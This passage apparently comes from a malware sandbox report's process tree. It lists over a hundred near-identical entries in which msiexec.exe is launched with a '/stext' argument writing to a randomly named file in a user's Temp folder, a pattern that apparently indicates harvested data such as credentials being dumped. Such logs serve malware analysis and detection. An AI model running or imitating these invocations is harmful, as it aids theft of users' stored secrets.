    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9468
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9476
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9484
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9492
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9500
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9508
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9516
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9524
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9532
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9540
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9548
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9556
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9564
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9572
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9580
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9588
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9596
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9604
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9612
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9620
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9628
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9636
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9644
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9652
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9660
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9668
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9676
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9684
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9692
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9700
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9708
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9716
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9724
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9732
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9740
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9748
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9756
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9764
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9772
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9780
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9788
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9796
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9804
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9812
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9820
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9828
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9836
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9844
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9852
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9860
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9868
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9876
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9884
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9892
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9900
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9908
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9916
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9924
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9932
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9940
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9948
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9956
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9964
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9972
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9980
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9988
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9996
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10004
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10012
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10020
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10028
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10036
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10044
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10052
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10060
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10068
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10076
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10084
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10092
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10100
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10108
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10116
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10124
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10132
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10140
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10148
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10156
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10164
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10172
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10180
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10188
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10196
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10204
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10212
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10220
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10228
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10236
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9332
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10140
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10248
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10256
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10264
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10272
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10280
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10288
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10296
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10304
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10312
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10320
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10328
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10336
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10344
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10352
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10360
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10368
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10376
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10384
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10392
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10400
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10408
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10416
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10424
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10432
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10440
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10448
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10456
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10464
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10472
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10480
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10488
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10496
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10504
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10512
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10520
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10528
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10536
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10544
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10552
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10560
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10568
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10576
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10584
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:10592
